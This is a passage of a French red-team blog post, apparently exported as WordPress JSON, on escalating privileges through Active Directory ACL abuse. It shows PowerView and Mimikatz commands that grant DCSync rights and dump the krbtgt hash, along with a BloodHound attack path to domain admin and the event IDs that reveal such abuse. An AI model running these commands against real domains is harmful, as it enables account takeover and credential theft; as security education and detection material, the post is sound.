-Verbose<\/pre>\n\n\n\n<ul><li>Sur un domaine, ajout des ACLs <code>Get-Changes<\/code> et <code>Get-ChangesAll<\/code> qui sont caract\u00e9ristiques du droit DCSync.<\/li><\/ul>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Add-DomainObjectAcl -TargetIdentity \"DC=domain,DC=local\" -PrincipalIdentity SelfIdentity -Rights DCSync -Verbose\nInvoke-Mimikatz \"'lsadump::dcsync \/domain:domain.local \/user:krbtgt'\"<\/pre>\n\n\n\n<p>Si notre objet poss\u00e8de tous les droits \u00e9tendus (<code>AllExtendedRights<\/code>) sur un autre objet il peut si c\u2019est:<\/p>\n\n\n\n<ul><li>Un utilisateur, changer son mot de passe avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainUserPassword<\/code><\/code>.<\/li><li>Un groupe, modifier les membres de ce dernier avec <code><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Add-DomainGroupMember<\/code><\/code>.<\/li><li>Une machine, effectuer une &#8220;Ressource based Constrain Delegation&#8221;.<\/li><li>Sur un domaine, effectuer une attaque de type DCSync.<\/li><\/ul>\n\n\n\n<p>Pour le faire plus synth\u00e9tiquement, voici un tableau r\u00e9capitulatif.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>type d\u2019acc\u00e8s<\/td><td>fonction PowerView<\/td><\/tr><tr><td><code>ForceChangePassword<\/code><\/td><td><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainUserPassword <\/code><\/td><\/tr><tr><td><code>WriteProperty\/GenericAll\/GenericWrite<\/code><\/td><td><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainObject<\/code><\/td><\/tr><tr><td><code>CreateChild\/WriteMember<\/code><\/td><td><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Add-DomainGroupMember<\/code><\/td><\/tr><tr><td><code>WriteDacl<\/code><\/td><td><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Add-DomainObjectAcl<\/code><\/td><\/tr><tr><td><code>WriteOwner<\/code><\/td><td><code data-enlighter-language=\"powershell\" class=\"EnlighterJSRAW\">Set-DomainObjectOwner<\/code><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h3>Chemin d&#8217;attaque<\/h3>\n\n\n\n<p>Comme mentionn\u00e9 pr\u00e9c\u00e9demment, BloodHound permet de cr\u00e9er des chemins d\u2019attaque. Cette partie vise \u00e0 exemplifier cette id\u00e9e. Pour ceux qui sont \u00e0 l\u2019aise avec la langue de Shakespeare, cette vid\u00e9o de SpecterOps est parfaite pour vous <a rel=\"noreferrer noopener\" href=\"https:\/\/www.youtube.com\/watch?v=5USRboxxYUo\" target=\"_blank\">https:\/\/www.youtube.com\/watch?v=5USRboxxYUo<\/a>, sinon, retournons \u00e9tudier notre graphe. En s\u00e9lectionnant la requ\u00eate &#8220;Find Principals with DCSync Rights&#8221;, nous voyons que l&#8217;utilisateur Rick peut demander une r\u00e9plication de hash.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1000\" height=\"639\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2.png\" alt=\"\" class=\"wp-image-145\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2.png 1000w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2-300x192.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2-768x491.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2-400x256.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound2-800x511.png 800w\" sizes=\"(max-width: 1000px) 100vw, 1000px\" \/><\/figure>\n\n\n\n<p>Puis nous demandons \u00e0 BloodHound de nous tracer un chemin de bobby \u00e0 Rick, ainsi nous remarquons que notre utilisateur poss\u00e8de le droit <code>WriteDACL<\/code> sur le groupe &#8220;Users Manager&#8221;, et ce dernier a <code>GenericAll<\/code> sur l\u2019unit\u00e9 organisationnelle &#8220;Sensitive Account&#8221; qui contient Rick. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"467\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-1024x467.png\" alt=\"\" class=\"wp-image-146\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-1024x467.png 1024w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-300x137.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-768x350.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-400x183.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3-800x365.png 800w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/BloodHound3.png 1295w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p> Ainsi pour devenir administrateur de ce domaine il faut:&nbsp;<\/p>\n\n\n\n<ul><li>Ajouter une ACE sur &#8220;Users Manager&#8221; nous donnant le contr\u00f4le du groupe et ainsi nous y ajouter.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"361\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-1024x361.png\" alt=\"\" class=\"wp-image-147\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-1024x361.png 1024w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-300x106.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-768x271.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-400x141.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1-800x282.png 800w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack1.png 1203w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul><li>Prendre le contr\u00f4le des descendants de l\u2019OU &#8220;Manager Users&#8221; et changer le mot de passe de Rick.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"361\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-1024x361.png\" alt=\"\" class=\"wp-image-148\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-1024x361.png 1024w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-300x106.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-768x271.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-400x141.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2-800x282.png 800w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack2.png 1203w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<ul><li>Obtenir un beacon en tant que Rick et DCSync l&#8217;administrateur.<\/li><\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"891\" height=\"880\" src=\"http:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3.png\" alt=\"\" class=\"wp-image-149\" srcset=\"https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3.png 891w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3-300x296.png 300w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3-768x759.png 768w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3-400x395.png 400w, https:\/\/theredwindows.net\/wp-content\/uploads\/2021\/02\/attack3-800x790.png 800w\" sizes=\"(max-width: 891px) 100vw, 891px\" \/><\/figure>\n\n\n\n<h3>Impacts Forensics<\/h3>\n\n\n\n<p>D\u00e9pendant de l\u2019exploitation qui est faite, diff\u00e9rentes traces vont \u00eatre laiss\u00e9es. En effet, si <code>WriteDACL<\/code> est exploit\u00e9, les EvendIDs 4670 et 4662 seront g\u00e9n\u00e9r\u00e9s sur le contr\u00f4leur de domaine qui a g\u00e9r\u00e9 la requ\u00eate (sans compter l\u2019ACE ajout\u00e9e qui doit \u00eatre supprim\u00e9e). Si <code>GenericWrite\/GenericAll\/WriteProperty<\/code> sont exploit\u00e9s, la modification d\u2019un attribut LDAP provoquera l\u2019EventID 5136. Si un utilisateur est ajout\u00e9 \u00e0 un groupe c\u2019est l\u2019EventID 4728 qui sera g\u00e9n\u00e9r\u00e9, en prenant aussi en compte qu\u2019un utilisateur ne sera pas dans un groupe auquel il est cens\u00e9 appartenir. Si une &#8220;Ressource Based Contrain Delegation&#8221;, est utilis\u00e9e, un nouveau compte machine sera ajout\u00e9 et engendrera l\u2019EventID 4741 et une nouvelle machine inhabituelle dans le domaine. Si un mot de passe est chang\u00e9 en exploitant<code> User-Force-Change-Password<\/code> par exemple, l\u2019EventID 4724 sera g\u00e9n\u00e9r\u00e9 sur le contr\u00f4leur de domaine qui a g\u00e9r\u00e9 la requ\u00eate.<\/p>\n\n\n\n<h3>Conclusion<\/h3>\n\n\n\n<p>Dans cet article nous avons vue que les permissions dans un Active Directory ne sont pas \u00e0 d\u00e9laisser, sinon un attaquant peut les utiliser de mani\u00e8re malveillante en s\u2019assurant gain de privil\u00e8ge voir m\u00eame mouvement lat\u00e9ral, d\u2019autant plus que ce vecteur d\u2019attaque est bien moins connu et est souvent n\u00e9glig\u00e9 (surtout quand il s&#8217;agit d\u2019infrastructure de longue date ou bien Exchange). En esp\u00e9rant que ce poste vous a plu, je vous invite \u00e0 aller regarder l\u2019article de programmation en compl\u00e9ment de celui-ci, et l\u2019article de persistance en utilisant la DACL que vous pouvez trouver dans la partie RedTeam du blog. Si vous pr\u00e9f\u00e9rez aller plus loin, je ne peux que vous conseiller l&#8217;excellent papier de SpecterOps <a rel=\"noreferrer noopener\" href=\"https:\/\/www.specterops.io\/assets\/resources\/an_ace_up_the_sleeve.pdf\" data-type=\"URL\" data-id=\"https:\/\/www.specterops.io\/assets\/resources\/an_ace_up_the_sleeve.pdf\" target=\"_blank\">An Ace up the sleeve<\/a> ainsi que la lecture de <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dtyp\/cca27429-5689-4a16-b2b4-9325d93e4ba2\" data-type=\"URL\" data-id=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-dtyp\/cca27429-5689-4a16-b2b4-9325d93e4ba2\" target=\"_blank\">[MS-DTYP]<\/a>, <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adod\/5ff67bf4-c145-48cb-89cd-4f5482d94664\" data-type=\"URL\" data-id=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adod\/5ff67bf4-c145-48cb-89cd-4f5482d94664\" target=\"_blank\">[MS-ADOD]<\/a> et <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/d2435927-0999-4c62-8c6d-13ba31a52e1a\" data-type=\"URL\" data-id=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-adts\/d2435927-0999-4c62-8c6d-13ba31a52e1a\" target=\"_blank\">[MS-ADTS]<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Pour des raisons de s\u00e9curit\u00e9, il est souvent imp\u00e9ratif de pouvoir changer les permissions d\u2019acc\u00e8s en fonction du niveau de privil\u00e8ges th\u00e9oriques d&#8217;un utilisateur par exemple. Sur le syst\u00e8me de gestion de fichier NTFS, les ACLs permettent d\u2019effectuer ces contr\u00f4les d\u2019acc\u00e8s. En active Directory, un principe similaire est pr\u00e9sent. Nous pouvons donc nous demander ce [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[5],"tags":[],"_links":{"self":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/121"}],"collection":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/comments?post=121"}],"version-history":[{"count":21,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/121\/revisions"}],"predecessor-version":[{"id":280,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/posts\/121\/revisions\/280"}],"wp:attachment":[{"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/media?parent=121"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/categories?post=121"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/theredwindows.net\/index.php\/wp-json\/wp\/v2\/tags?post=121"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}